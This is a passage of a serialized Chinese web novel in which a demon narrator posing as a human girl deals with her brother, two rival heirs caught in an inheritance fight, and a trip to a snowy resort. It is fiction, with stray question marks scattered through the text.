等我抬起头,霍亦瑀脸上已经没什么表情了,他就看着我,浅色的眼?睛流淌着窗外晃动的红光,像是结了冰的湖面。 少?见的表情。我不由多看了李文。 “你不应该这么做。”他的声?音依旧平稳,但?每个字都像掂量过重量,“如果留下指纹,或者?其?他的证据,这场官司……你同样会牵涉进来。” 我:“那什么时候开庭?” “……” 他几不可察地皱了下眉,手指无?意识地相互碾磨了一下:“至少一个月后。” “那就好啦。”我说,“反正那个时候演唱会结束了。” 霍亦瑀盯着我,像是在看什么完全不能理解的生物,不是好奇的那种,而是用一种匪夷所思、需要解开数学最后一道大题的表情。 “你知道自己在做什么吗?” 他又问了一遍,声?音沉了下去:“你知道你在说什么吗?” “如果被牵连,后果是什么,你有想过吗。” 我想了想,经过思考后,回复道:“这种事不重要吧。” 我们对视着,车厢里的空气仿佛停止了流动,我几乎感觉不到他的呼吸。 最后他闭了下眼?睛,再睁开时看向窗外,脸上那种惯常的表情像是被海风瞬间冻结,然后剥落,露出底下冷硬的内核。 “不是要单独聊聊吗。” 我说:“现在就可以聊聊。” “……” 他猛地转回头,浅色的眼?睛锁住我,眉头皱起,手指在身侧微微捏紧,身上涌出了明显的……怒气? 我再次确定了一下,冒出的的确是怒气。 他在生气?为什么? 我没看懂,下意识看向他的裤兜,猜想他有没有带枪。 霍亦瑀也随着我的视线看去,放下原本抵在唇边的手,骨节分明的手指搭在腿上,语气不焉地说:“你确定现在要和我聊聊吗,在这个时候,可以把所有的问题摆出来讲?” “不可以吗?” 他看着我,忽然笑了,眉头松开,眼?睛却没有笑,简洁得吐出三?个字:“不可以。” 我哦了声?,继续去看手机里的游戏。 但?下一秒,他的手盖住了我的屏幕,手掌连同手机一起握住,然后用力一扯,将我整个人带进他怀里。 热意包裹着我,酒味持续不断地侵扰着我的鼻子,像是被泡进热烘烘的红酒里。 我试图抬起手机,看眼?挂机情况,但?他按住我的手,像是绳子一样捆住我。 动作来得突然,也不像是犯人瘾了。 于是,一个猜想闪过,我费劲地转动身体,努力地盯着他,倒吸口气:“难不成你要把我交给?警察。” 头顶的眼?睛一眨不眨地回视着我,瞳孔里映出我扭来扭去的身影,手臂收得更紧了些,他依旧一言不发。 “再待会。”半晌他才开口,“等会儿就送你回去。” 我眨了眨眼?,放弃挣扎,找了个相对舒服的姿势,任由他抱着,时间一分一秒过去,他丝毫没有松开的迹象。 “外面的警察还要搞多久啊?”我打了个哈欠。 “得到凌晨。” 霍亦瑀平静地说:“再加上闻风而动的记者?,他们大概要忙到明天中午才能稍微喘口气。” “你很?懂嘛。” 他不置可否,只是握着我的手,反复揉捏我的指节,然后十指相扣,抬起到他唇边,像在确认什么。 但?他的眼?神放空,越过我的头顶,不知道在想些什么。 我现在猜他是人瘾犯了。 “我们在这儿等什么?” “等人。” 霍亦瑀放下我的手,目光转向车窗外,似乎注意到了什么,他松开怀抱的禁锢,也松开交握的手,转而慢条斯理地替我整理有些皱巴巴的衣领。 当他的手指触碰到我衣角上一小块已经变成暗褐色的血迹时,动作顿了一下,抬眼?看了看我,没说话?。 我同样望向窗外,发现几个人正匆匆地朝这边走来。 车门被猛地拉开,灌进一股更猛的海风。 来人是黎鸶,他脸色铁青,在看到我时明显愣了一下,随即眉头拧紧,瞪向霍亦瑀:“你竟然带她来这种地方??你他爹就是个疯子!” “和你无?关。” 霍亦瑀的视线轻飘飘地掠过他,钉在了落后一步的那个人身上,嘴角浮现出一丝讥讽的弧度:“我还以为你还要多装一段时间,终于忍不住了?” “栾明。”他念出名字,有些厌烦地说,“以前我怎么没发现你是个不知道天高地厚的人。” “收了钱,就该安安分分地腐烂在角落里,这不是很?简单的道理么?” 黎鸶瞥了眼?后面的栾明,脸上没有丝毫情绪,只是看向我,语气加重:“快下车,这家伙会一直待在这里,他今晚走不掉的,你跟我……我们回去。” 我想了想,反正霍亦瑀看样子不打算走,于是打算拉开另一边的门。 霍亦瑀却忽然伸手按住我的手背,倾身过来,再次替我拨弄了下头发,他的目光在我脸上停留,脖颈侧面青筋微微凸起,又平复下去。 “有件事我觉得你应该听听。” 他提起嘴角,慢条斯理地说:“关于你哥的事,还有以前那对永远甩不掉的麻烦。” “以前我给?了他一笔钱,我们做了个约定,只要你在房间待三?天不出去,我就可以放手,但?是同样的,他不可以阻止你。” “结果他输了。” 霍亦瑀声?音压低,吐字清晰:“你知道他那点心?思吧,那种见不得光的、对自己妹妹的感情,怪不得只敢像阴沟里的老?鼠一样躲在暗处,就算现在敢露头,也永远是个懦弱又卑劣的——” “闭嘴!” 熟悉的声?音骤然拔高,近乎尖锐,等我看去时,栾明已经出现在车边,而他身后黎鸶表情龟裂,露出了难以置信的神色,但?他很?快看向我,眉头死?死?拧紧,烦躁地用手狠狠抓了一把头发。 “……和你没关系。” 栾明喘着气,他抬头看向我,声?音沙哑:“小冬,我们回家吧。” 这次霍亦瑀没再做什么。 他替我推开车门,气息靠近后迅速远离,他稳坐在后座的阴影里,轻轻颔首:“回去吧,晚上风大。” 我下了车,走到栾明旁边,他急促地看了我一眼?,嘴唇动了动,想说什么,但?所有的话?堵在喉咙里,最终抿成一条单调的、熟悉的直线。 他伸出手,想要抓住我的衣角。 “栾明。”黎鸶语气生硬,“你该回去了。” “……” 栾明的手慢慢垂落下去,他看了黎鸶一眼?,神色难辨,默不作声?地转身,朝着不远处另一辆车的方?向走去。 在我跟上去之前,黎鸶拉住我,他像是被烫到似的,浑身不适,但?仍然盯着我,“我不管他和你说了什么,全部忘记吧,不要再想这个烂货和那些乱七八糟的事……他不会再嚣张下去,很?快我就要赢了。” “我说到做到。” 他果断地松开手,将手背在身后,目光锐利地转向坐在车内的人,无?声?地拉开对峙。 但?是我想问了。 到底是什么意思? 所有人的话?就像是流水一样淌过我的大脑皮层,没有留下任何痕迹。 是因?为我短剧看过了吗?为什么感觉脑子不太好使,听不懂中文了。 海风呼啦啦地吹,警灯彻夜常亮。 大脑空空的我和栾明穿过来来往往的人,走向停在不远处的车。 坐上车后,栾明迅速踩下油门,车飞快地冲了出去,像是再也忍受不了周围的一切。 他紧紧地握着方?向盘,情绪像是车速一样失控。 不过很?快,他平静下来。 “小冬。” 他开口,声?音恢复了往常的温和,带着一丝刻意营造的轻松,“最近这几天……对不起,我不该不告而别,但?工作上的事实在走不开,我保证,很?快就结束了,等一切都处理好了,我们就去旅行,好不好?去任何你想去的地方?,就我们两个人。” 像是什么也没发生那样,他对刚才发生的事只字不提。 因?为他的反应,我的脑袋灵光了点。 又是这样啊。 一只无?形的大象随着他的话?音,悄然坐上了车顶,庞大的身躯压得车都沉了沉,所以车速才会越来越慢。 如果我的想象力再丰富点,这只大象可能正在悠闲地吃着香蕉,然后把香蕉皮肆意乱丢,让后面驶过的车辆打滑摔倒。 大象在他的话?语中不断膨胀,像个越吹越大的气球。 栾明不停地说着话?,软和的、带着莫名的期待的话?,仿佛只要一刻不停地说下去,就可以像是什么也没有发生那样。 像这样的掩饰实在是太粗糙了。 我突然懂了霍亦瑀说在人群里的雇佣兵时,有些轻蔑的语气。 突兀地站在大厅,有种把人当傻子的既视感。 粗糙,相当的粗糙。 就算是我这样睁一只闭一只眼?睛,假装熟睡的恶魔,都看不下去了。 我打断他的话?:“你到底想要什么。” “……” 他张了张嘴,苍白地说:“只要我们在一起就可以了。” “现在这样,算一起吗?”我说,“你做的事,也不是为了这种在一起吧。” “是我们,还是只有我们才行?” “不……不是那样……” “那是什么样的?” “……我、现在……太乱了,等我再想想好吗?不是你像的那样……我只是……只是想要和你待在一起而已……” “但?是你总是离开我。”我说,“你明明说要待在一起,却总是离开,你就像是停不下来的陀螺,靠近就弹开,不停地转转转。” 他不知道该笑还是不该笑,嘴角提起又降下,彷徨地失去了表情。 “你应该直接告诉我。” 我加重语气说:“你在想什么?快点告诉我。” 但?这个问题却像是世界难题,栾明支支吾吾,说不出一句话?。 他无?力地抿紧唇,手紧紧地握住方?向盘,出神地望着前方?。 距离家越来越近,周围的景物变得熟悉起来,他的表情逐渐放松,像是快要见到天光,像迷路的人看到头顶的北极星、一瞬间看到命运转机的时刻。 “你知道的吧。” 我说:“我不是人类这件事。” 吱——! 刺耳刹车声?响起,车轮摩擦地面,在寂静的夜晚划出短促而尖锐的哀嚎。 车猛地停住了。 栾明整个人伏在方?向盘上,深深地低着头,弯曲的脊背微微颤抖。 所以才会越来越确定我不会受伤。 在伪装人类这方?面,我非常地敷衍,最开始连奶都不愿意喝,直到人类女性看着我的目光逐渐怪异,在夜晚长久盯着我,手里的刀迟迟没有落下。 在我来到的之前,属于她肚子里的生命已经因?为冬天失温而死?掉的。 栾水冬。 水冬。 冬天的水。 多么冷啊。 “以前啊,妈妈是一个发现的,所以她才会不喜欢我,总是用奇怪的眼?神看着我,不愿意再照顾我,但?是你就不一样了,你装作不知道,还要靠近我。” “你不应该像她一样讨厌我吗?”我若有所思,“还是因?为你没有生下我,所以可以轻而易举原谅我占据这个身体吗?” “不……” 他的声?音从臂弯里传来,闷闷的,带着哽咽。 “我要回去了。” 我盯着他,再次申明道:“所以快点把你的愿望告诉我,不然等我走了,你可就要损失一个就连统治世界都可以实现的机会了。” “……” 弯着身体的人终于抬起头,浓重得化不开的情绪淹没了他,泪水毫无?征兆地汹涌而出。 在一片湿润的泪里,我看清了他的眼?睛,黑色的、流着泪的眼?睛。 然后倏地涌出的黑雾淹没了一切。 黑雾从他身体里涌出,丝丝缕缕,几乎要将车厢内的光线全部吞噬。 我抬起手,黑色的情绪穿过手掌,在空气中反复拉扯着,像是绷紧到极致的丝线,即将拉断,悄悄残留着最后一根。 大象仍然坐在头顶,如果另一个人选择装瞎,它就能继续吃香蕉。 我应该说点什么的,继续再说点往火坑里填柴的话?。 要这么做吗? 我撑着下巴,静静地思考着。 直到温热的、带着湿意的手指,小心?翼翼、颤抖着触碰到了我的手背。 “……回家吧。”他祈求般说,“小冬,我们回家吧。”—— 作者有话说:改来改去身上像有虫在爬 但是虫在爬的同时,我突然有了两个新的脑洞[眼镜],封面做出来立马展示,快要完结我就这样三心二意(扭) 明天我一定要努力!!!《 》 第121章【VIP】 第121章 做人做魔都应该记住一件事。 心软不是个好事。 我看着?栾明系着?那条旧围裙在?灶台前?忙活, 抽油烟机嗡嗡作响,他把饭菜端上桌时?,脸上还是那种温和的笑,嘴角的弧度和从前?一模一样。 好像昨天那些话从没说过。 他真的能假装忘记, 然后继续装没事。 如果是以前?, 我也应该会跟着?一起装瞎子, 两眼一闭,继续呼吸虚假的空气。 脑袋里的声音响起。 “你不需要进食人类的食物,昨天你已?经告诉他了,为什么他还要制造这些没用的东西给你?” 天使问:“他是在?挑衅你吗?” “你不是很懂爱是什么吗?”我老?神在?在?地说, “他这算是什么反应,应该是你给我解释下。” 空气里柠檬味浓郁无?比,附着?在?他身上的情?绪真就像是他表现的那样, 看不出什么异常。 我确信,他真的把自己说服了。 爱这东西越琢磨越怪,像用叉子喝汤,一种奇妙的、捞到一场空的感觉。 装模作样可以让自己好受, 所以才会继续伪装,只要大家都不提及,就是最好的生存方法。 但我还需要坚持这套准则吗? 话说,我已?经违背过法律、直白地说出自己身份, 已?经彻底演都不演了, 还继续遵守人类准则干嘛? 我现在?是法外狂徒! 我摸了摸下巴, 看着?去而复返的栾明, 更加仔细地观察他的神态。 栾明还在?努力维持着?现状,行为举止像设定好的NPC,回?避我的视线, 将筷子放进我的手里。 好像不这么做就会世界末日?,或者更糟。 “我不觉得这是爱。” 天使的声音没什么起伏:“但如果能当你的食物,那确实该重新定义什么叫爱。” “这种行为对你没有?任何好处,他只是没有?认清现实而已?。” 天使再次提议:“你应该杀掉他。” 好吧,我不是法外狂徒。 只是在?思考为什么这么做,怎么又变成杀人的事了?我不想做重口味、血腥的事。 我感慨道:“你不是天使吗?为什么满嘴打打杀杀。” “我们一直是这样。” 天使语气平静:“是你离开太久,认知已?经被同化了。” 对啊。我摸了摸脑袋,回?想起曾经的事,怎么连天使原本是什么样的给忘记了,都怪人类的知识篡改了我的大脑。 打打杀杀很正常,随便杀个人、死个人也很正常啊。 栾明擦干手上的水,阳光在?睫毛上投下细影,他柔和地说:“可以吃饭了。” 我看他拿起筷子,轻轻抬起手,但筷子悬在?半空,停住了。 他顿了顿,放缓语气:“不吃吗?” “你忘记了吗?”我说,“我昨天说的话。” “……” 栾明沉默很久,有?那么一会儿我以为他会一直沉默,但最后笑又爬回?嘴角,柔得像糖壳,一碰就碎。 他说:“没关系,不吃也没关系。” 说完,他伸手随便捻起土豆丝,放进碗里。 “你原本就知道我不吃,但是每天都要做,不过之前?有?一次,你生气的时?候,就没有?给我做过。” 我念叨着?,拿起筷子对着?盘子里的菜挑挑拣拣:“虽然我说过喜欢这些菜,但是只是作为标签的一种而已?,装作人类的话,总要有?点特点吧,可以和别人交谈喜欢什么,人总是喜欢有?共同点的人。” 我放下筷子,看向肩膀紧绷的人:“但是我们是不一样的,我不是人类。” “……小冬,不喜欢没关系。”栾明说得很慢,每个字都像小心挤出来?,“告诉我你喜欢什么,想要什么,只要你想要,我一定做到。” “那告诉我。你的愿望吧。” 我说:“我想知道这个。” 栾明脸色苍白几分,窗外的光更亮了点,照得那白近乎透明。 他匆匆夹了几口菜,筷子抖得厉害,试了几次才放进嘴里,就着?饭胡乱咽下,几乎没嚼,片刻后,他然后猛地起身,椅子腿刮地刺耳。 他端起盘子去厨房,把还冒热气的饭菜全倒进垃圾桶。 他又在?厨房忙起来?,水哗哗响,我仍坐在?餐桌边,等?他的回?答。 等?栾明再出来?,手上还湿着?,在?裤侧擦了擦。 我说:“逃避是没有?用的。” “我只是没想好。” 他低着?头?说:“再等?等?吧,等?我想到就立马告诉你,好不好?” 我们对上视线时?,他却偏头?看手机,屏幕冷光照进他眼里,让那双眼睛显得很空,只是看了一眼,他张了张嘴,回?避着我的视线:“……我出去一趟。” 说完这句,没等?我回?应,他就匆匆走向门口,开门、闪身、关门,快得像逃跑。 门锁咔嗒合拢,声音在安静中格外清晰。 一套动作行云流水,我只吃到了柠檬尾气。 天使说:“你应该抓住他,让他说出实话。” “我不喜欢强迫别人。”我收回?视线,“而且有?最后期限,怕什么。” 反正在?演唱会修复完身体,就可以离开了,不管他怎么躲,时?间不会等?人。 还有?几天?我拿手机看,屏幕亮起,正好弹出宗朔的消息。 [宗伟朔大]:新闻闹那么大,如果我不问,你是不是一辈子都不会告诉我 [宗伟朔大]:霍亦瑀真是傻屌,看清他到底是个什么人了吧,这种傻缺只是有?钱而已?,以前?我就知道,装逼犯没有?好下场 [世界第一恶魔大人]:什么新闻? [宗伟朔大]:邮轮枪击案,现在?已?经变成遗产争夺战,还有?人说是有?海盗抢劫……乱七八糟的 [宗伟朔大]:但大差不差,用脚趾想都知道发生了什么 [宗伟朔大]:我敢保证,霍亦瑀绝对知道会发生什么,但还是带你去了,现场死人了是不是,那个颜升,被他整死了是不是? 我回?想昨天发生的事,想了想,开始打字。 [世界第一恶魔大人]:可能是被我打死的 [宗伟朔大]:? 正在?输入状态闪了很久,过了好一会,才发了新的消息。 [宗伟朔大]:你在?哪? [世界第一恶魔大人]:家里 [宗伟朔大]:我要来?找你 [世界第一恶魔大人]:没空 [宗伟朔大]:……你行 宗朔变得好听话,以前?有?这么听话吗? 正想着?,电视里传来?新闻声,我转头?看去,放着?当背景音的电视传来?一阵急促的音效。 “……集团董事会召开了新的会议,经过一系列协商,最终认定当初的遗嘱公示存在?差错,需要进一步进行修订,最新情?况将会实时?更新,对于?未来?的股市影响重大。” “知名的企业家陷入资产争斗中,根据可靠情?报,百分之八十?的资产是通过遗嘱继承,当年对此颇有?微词的亲属已?经发表声明,将会回?国处理?此事,而昨天发生的邮轮惨案,经过警方调查,或许也有?这位的参与……” 屏幕上清晰印着?霍亦瑀的照片,大概是昨天刚拍的,在?一群蓝色制服中,他站在?车边,侧脸线条在?警灯下显得冷硬,望着?远处灯亮的邮轮,身影陷在?海风里,大衣下摆微扬。 拍得还挺好看。我点评道。 至于?主持人说什么,没太听懂,“资产重组”、“股权纠纷”这些词像外语滑过耳朵。 霍亦瑀在?做什么?从昨天说完那番话后,我还以为他会像以前?那样在?办公室里叱咤风云。 现在?他有?麻烦了。 手机不停地弹出消息,像是在?催命一样。 我低头?看向屏幕,上方弹出了熟悉的名字。 [未命名]:你在?家吗? [未命名]:现在?看新闻,等?会有?好消息 里面的主持人正在?插播报着?天气,未来?几天都会是晴天。 手机震动,车千亦发了新消息,问我什么时?候去排练,距离演唱会只剩下五天,虽然一切都准备得差不到,但最好还是在?聊聊,避免到时?候在?台上和伴舞撞在?一起。 [未命名]:你今天下午有?事吗?” [世界第一恶魔大人]:我是大忙人 我的视线转向电视。 主持人听到什么,精神一震,语气飞速地播报着?:“根据可靠情?报,霍先生刚刚发表了声明。” “他决定放弃遗嘱上诉,选择尊从由同母异父兄弟带回?来?的新遗嘱,目前?还没有?公开它的内容,后续可能会对企业造成不小的影响。” “做出决定原因,或许和最近发生的一系列事有?关,就在?昨晚,已?经证实了,被枪击后掉入海中还在?寻找的人正是重要企业合作对象……” 听到这些话,我若有?所思。 什么意思,没听懂。 发来?两句意味不明的消息,黎鸶彻底安分。 而我在?家里站了会,思来?想去,还是给司机发消息,打算去敷衍一下上班进程。 车千亦见到我还有?点意外,左顾右盼,确认没有?其他人后松了一口气,不紧不慢地和导演确定现场的工作。 排练还是以前?那样,确定站位,对着?麦克风假唱,然后再空闲之余思考一会人生,通常会彩排三次,等?三次结束,工作人员们已?经等?不及想要下班。 结束后,大家各回?各家,我再次召唤司机,在?车千亦的注视下回?家了。 在?离开前?,她再三叮嘱我,这段时?间一定要老?老?实实的。 我一直都挺老?实的啊,只不过身边的人不太老?实而已?。 栾明一如既往不知道在?哪里,或许在?某个地方躲着?偷偷哭吧。 就在?我刚刚坐下,打开电视的时?候,门口传来?刺耳门铃声。 打开门,黎鸶就站在?外面,一身黑,头?发打过发蜡,看上去比平时?精致不少?,眉宇间透着?股轻松,总是下压的眉头?终于?上扬了些。 “干嘛?” “我赢了。”他说。 黎鸶盯着?我,忍不住抬起嘴角,露出真切的笑意,他笑起来?时?,眼角上扬,弯成了一条线,我才发现他的嘴边有?一个凹陷的梨涡。 “他已?经无?路可走,成为败家之犬了。” 他目光越过我往屋里扫,在?空荡客厅转一圈,有?些迟疑:“你哥呢?他没在?家里?” 我耸耸肩,懒得跟他解释,踢踏着?拖鞋走回?客厅。 黎鸶也跟了进来?,径直挡在?我的面前?,把电视完全挡住。 我示意他挪动,结果这人仍然皱着?眉,思考着?什么。 于?是我推了他一把。 他看了眼身后,挪动几步,在?我旁边坐下。 “你已?经通知过了,虽然不知道霍亦瑀到底怎么成丧家犬,但消息通知到位,你可以走了。” 黎鸶飞快地说:“不行。” 但说完,他自己也皱眉,像不理?解这回?答,盯着?地面浅灰地毯出神。 “你到底要干嘛?” “栾明应该在?你这才对。” 他说:“前?不久结束会议,他说要回?家一趟,但是现在?却不见踪影。” “像他这种人,不可能不回?来?找你的。”他愈发笃定,“不第一时?间把好消息告诉你,而是躲着?你,这不合理?。” “说不定就是想躲着?我呢。”我随口一提。 黎鸶认同了我的话,坐了会,突然开口道:“如果顺利,以后公司有?一半会是我的。” 他挺直脊背,手指在?膝上交叠,指腹相互摩擦:“官司打完,他翻不了身,股份重分后,他就不是现在?的霍亦瑀了……” 不知道什么时?候说话声停了下来?,我从短剧里抬起头?,瞥了他一眼。 黎鸶正看着?我,长发遮挡住他的颧骨,陷入了湿润的阴影里。 我打了个哈欠,继续看短剧,一定要回?去之前?看个够,到时?候就没有?伟大的手机,只有?群魔乱舞。 “你知道我对你的想法吧。”他声音忽然响起,比刚才近。 不知何时?他挪到沙发中间,离我一臂距离,目光炯炯地看着?我:“我表现这么明显,你一定看出来?了。” 我:? 他喃喃自语,有?些不适地摸了摸脖子,抬眼看向我:“我之前?说过,所以你一定知道吧。” 我再次嗅了嗅,什么也没嗅到。 但是一张嘴,似乎就能品尝到某种无?色无?味的食物,说着?喉管滑进胃部,留下淡淡的触感。 原来?这人的情?感是没有?思气味,也没有?味道的。 黎鸶皱了皱眉,忽然吐出一口气,飞快地说:“第一次见到你,我还以为是自己发病了,想要把你弄死,看到你,血液像是会倒流一样,只要一靠近,心脏就砰砰砰跳个不停,下意识想要伤害你。” “那种忍受不了的感情?在?心脏里跳来?跳去,让我辗转反侧,我还以为你是什么女巫。” “只不过。”他看了我一眼,又看向别处,“我和心理?医生交流过了,这种只是因为太喜欢,所以想要伤害的情?绪,是来?源于?小时?候的心理?创伤,因为不能正视,而导致的心理?行为。” 他客观地剖析了自己,像是局外人一样一字一句说完,接着?再看向我时?,心情?平复。 原生家庭。 是个经典的词。我想。 就像是耳边有?人吹了口气,我瞬间警觉,环顾四周,只剩我和他的房间安静得可怕。 这种配置氛围,简直像标准心理?咨询室。 视线重新相对,黎鸶眨了下眼,睫毛在?灯光下颤,然后忽然眯眼,像突然头?晕,抬手遮嘴,指关节抵齿间,他僵在?原地,呼吸又轻又缓。 现在?打断施法还来?得及吗? 我靠在?沙发上,以思考者的姿势坐着?,这个姿势并?不能让我的思考更流畅,只起到了一个造型上的作用。 所以,他千里迢迢赶到着?就是为了说这么一回?事,那我岂不要当心理?医生聆听他的创伤咯? 耳边响起黎鸶的声音。 “昨天……栾明那件事,我想了一下,他也应该去看看心理?医生,今天没跟他说明,毕竟我和他不熟。” 我瞥了他一眼,低头?看向手机上的时?间,嗯,半个小时?能不能结束…… “我在?国外,他给我发了邮件,很长一封,说可以帮我,我以为是哪来?的神经病,或是霍亦瑀设的圈套,没想到他真找来?,站我住处楼下,淋雨等?了一夜。” 黎鸶顿了顿,手指无?意识敲膝盖:“我住的地方很乱,街角就是毒贩交易点,他搬来?后天天被骚扰威胁,门锁被撬过三次,没想到他坚持下来?了,只是换了更结实的锁。” “最后,我同意了。” “虽然认识快四年,但我和他不熟,只是合作的关系而已?,我们没有?更多?的交流,因为他从来?不说多?余的话,就算是被打了,也一声不吭。” “心理?医生说,栾明这种行为是典型内心封闭,像他这样的人,一定受过巨大创伤,发展到这种……难理?解的形式,也不是不能挽救。” 他抬眼,目光直直看我:“你们是亲生兄妹,他感情?是错的,治疗纠正就好,现在?还来?得及。” “那什么是对的?你对我这样?”我问。 黎鸶皱眉,盯着?我看一会儿,目光很专注,像解复杂数学题,每个细节都不放过。 客厅里只有?空调出风口轻微嗡鸣。 我摆摆手:“你不懂,这和原生家庭有?关。” 黎鸶真信了。他皱眉,认真思考片刻,那严肃表情?像参加学术会议:“你也可以看心理?医生,我有?认识的家庭治疗专家,对这种……” “你半句话不离心理?医生,”我打断他,“自己都没懂自己想法,倒想给别人开药方。” 我推了他一下:“你没有?工作吗?不应该很忙,要开很多?会吗?” “其实我也是来?找栾明的,有?些事没说完。”他顿了顿,目光在?空荡客厅转一圈,最后落我脸上,“今天我陪你好了。” “到底是谁陪谁啊,说完了赶紧走人!” “……他没有?说什么时?候回?来?吗?” “我们正在?冷战、冰战、寒战。” 我说:“你是他的合作对象,为什么不知道他去哪了?” 他真像是什么都不会装的人,原本还以为是个反派呢。 现在?看起来?和浦真天差不多?。 我若有?所思:“你让我想到了一个人。” “不要告诉我。”他说,“我不想知道他的名字。” “没打算告诉你。”我做了个鬼脸。 黎鸶没忍住勾起唇角。 我看向他脖子上的伤痕,随着?喉结的上下移动,像是活物一样移动着?。 他注意到我的视线,吞咽唾液,喉结再次起伏。 “是小时?候留下的伤口。”他说,“长大以后又撕裂过,所以才会这么明显。” “霍亦瑀又告诉过你吗,这是他一手造成的。” “没有?。”我说,“他一般不会讲以前?的事。” 仔细想想,霍亦瑀很少?提及以前?的事,尤其是小时?候,像是没用原生家庭的困扰,活得十?分现实,真好啊,完全不需要给他当心理?医生。 黎鸶冷笑一声,“他当然不会说对自己不利的事,像他那样冷血怪物,只会给自己塑造好形象,如果不把他逼到悬崖,在?谁的眼里,他都是一副完美形象。” “以前?,我这样以为。” “直到他亲手创造绑架案,逼母亲做出选择,又把我当做替罪羊献出去的时?候,我就知道他是个恶魔。” 作为恶魔的我有?种膝盖中箭的感觉。 说着?,他看了我一眼,移开视线说:“他对你来?说,是这样的吗?完美无?缺、哪里都挑不出错误……都是演的,像他这样的人应该下地狱才对。” “地狱哪来?这么好下。” 我说:“需要血统验证的。” “……” 黎鸶:“如果他可以,那我也可以吧。” “只要在?你身边待得足够久,你也可以接受我的存在?。” 他深吸口气,继续说,像终于?打开某个闸门:“其实,我本来?没打算留在?国内,我对这儿一切都烦,空气,人群,规矩……每样都让我窒息。” “回?来?只是为了报复霍亦瑀,让他尝尝我受过的苦。我抱着?纯粹复仇心态回?来?,计划清晰,步骤明确,扳倒他,拿走他的一切,然后离开,永远不再踏进这片土地。” “但事情?不会按我想的发展。” 他说:“这种事情?我也没有?法控制,闭上眼睛就会想到你,其他的事都没有?意思,只有?和你有?关的才会变得有?趣,身体像是变成了另一个人的。” 视线相对。他眼睛在?晃动光线下异常明亮,瞳孔深处有?什么在?燃烧,安静地、持续地燃烧。 忽然,门口响起急促的敲门声。 我摸了摸下巴,总觉得十?分地熟悉。 这种场景像是重复地发生过好多?次。 黎鸶脸上瞬间恢复平静,所有?情?绪像被一键清除,只剩冰冷空白。 “果然是这样啊。” 他平静地说:“在?来?到之前?,我有?想过其他可能发生的事,但最后还是做了。” “栾明不在?,其实是个坏信号。” 他视线看向紧闭着?的门,语气冷静:“按原计划,今天下午该去和回?国的几位亲戚商量接下来?的对策,他们是关键票,能左右董事会最终决定。” “但他消失了,电话不通,住处没人,有?些文件还在?他手里,股权代持协议,授权书,还有?几份关键的证人陈述,如果没有?那些东西,接下来?我会成为靶子。” 像这种事不应该是火烧屁股吗?他还能坐在?这和我说话,看上去一点也不着?急。 我本想去看看,但黎鸶按住我的肩膀,目光沉沉:“这是我和他之间的事。” “交给我解决吧。” 他说:“如果我没来?,不能算是我输了,记得告诉栾明,这种手段学得真像霍亦瑀。” 他起身往外走去,在?即将出门时?回?头?看了我一眼,半张脸浸没在?黑暗里,眼中光芒闪动。 “下次见。” 他拉开门,消失在?门后。 门后像是一个黑洞,发生了一系列不可名状的事,如果我靠近窗边,应该就能知道发生了什么。 但是我不想。 我躺在?沙发上,将手背在?脑后,晃动着?双腿。 “我还以为人类会和平一点。” 天使:“他们是上帝创造的。” 我没冷声,闭着?眼睛让想法沉入黑暗中。 像这样放空大脑什么也不用的感觉,真是令人感动。 如果像是栾明说的那样,人与人之间的联系是根线的话,那他们一定很在?努力地扯断我和其他人的。 远离还不够,一定要看不见才会平息心里的怨气。 这是恨吗?还是算爱呢? 不应该像是书里说的那样,爱一个人就给她全部吗?怎么到我这就要争争抢抢,永远停不下来?呢。 真难懂…… 我打了个哈欠,困乏地睁开眼睛。 霍亦瑀正站在?门边,他同样看着?我,眉宇间积压着?浓郁的疲惫,灯光照在?头?顶,眉骨下阴影浓重。 “这是第几次了?”他轻声说,“我有?点数不清了。” “大概……第三次?” 我想了想,他总是在?整完谁出现,像是一定要翻越围墙才能到达我面前?似的。 他一边走进房间,一边解开手套:“麻烦永远处理?不完,一次又一次,真应该再狠心点,从最开始就不会变成现在?这样。” “但是如果我对你哥下手,你会是什么反应呢?” 我没想过栾明会出事的情?况。 “不知道。”我说,“你要试试吗?” 霍亦瑀笑了下,轻轻坐下,随意解开几颗扣子,手搭在?腿上,神色莫测。 我问:“要聊聊吗?” “嗯。” 他说:“我算好了,彩排结束,该去雪乡了。” “我们好好聊聊。”—— 作者有话说:原来如此(原来如此(什) 文字犹如奶油般化开,读者们!你们辛苦了!《 》 第122章【VIP】 第122章 念叨了好久的雪乡, 最?终还是去了,不?过没有栾明,仍然只有我和霍亦瑀。 这次坐的是我的私人?飞机,有一种终于享受到的快感, 一路上我各种钻研它?的用处, 冷冻酒水的迷你冰柜, 能加热到恰到好处的食物保温箱,还有那个能从头按到脚的按摩椅。 抵达前,我舒舒服服地睡了一觉。 等抵达度假屋时,虽然已经接近傍晚, 但天空始终晦暗地亮着,满地的积雪像是乳白?的砖块,铺天盖地的白?色里点?缀着暖黄色的灯, 每棵树脊背挺直,隔着一段安全距离站着。 我懒洋洋地下了车,和霍亦瑀走在工作人?员后面,刚穿上的厚衣服走进房屋里又得脱掉。 霍亦瑀脸上不?知道被谁揍了, 挂着彩,一路上他看?了许多次自己的脸,眉头越皱越紧,最?后合上镜子, 眼不?见心不?烦。 进入度假屋后, 他先去洗澡了。 我盯着落地窗外厚厚的积雪, 身心愉悦, 蜷缩在沙发里,听着旁边壁炉里燃烧着木头声?响,像是浸泡在温泉里, 动都不?想?动。 “我们可以搬去冰山。”天使的声?音突兀地响起。 我:“我不?会?搬家的。” “但是它?已经被炸了。” “再恢复成原样不?就行了。” 天使不?吭声?了。 即使发生了很多事,世界还是平稳不?变地运转着,雪簌簌地落下,悄无声?息,像是要把所有的痕迹、所有的声?音都掩埋住。 浴室门开?了。 霍亦瑀穿着浅灰色的羊绒衫走出来,头发还湿着,水珠沿着脖颈滑进衣领。 他脸上的伤被热气蒸得愈发明显,青紫边缘泛着红,他走到我对面的单人?沙发坐下,同样看?向窗外。 我的视线落在他脸上的伤上,“是黎鸶弄的吗?” “嗯。”他应了一声?,“在离开?前,他突然出手,没注意就被打到了。” 我点?点?头,陷入了毛毯之间,流进沙发深处。 耳边的声?音仿佛隔了层温吞的水膜,听不?真切。然后,他的声?音又响起了,在这暖洋洋的静谧里显得有些突兀:“过了这么久,你都没有想?问?我的吗?” “你想?让我问?什么?” “……” 我盯着天花板上木质横梁的纹路,眨了眨眼睛,喃喃道:“你怎么也?和栾明一样,问?你想?要什么又不?说,难不?成觉得我能猜到吗?抱歉啊,我讨厌脑力活动,不?喜欢动脑子。” “这就是为什么我们会?变成这样。” 他说:“你不?懂我,我也?从没有真正地了解过你。” 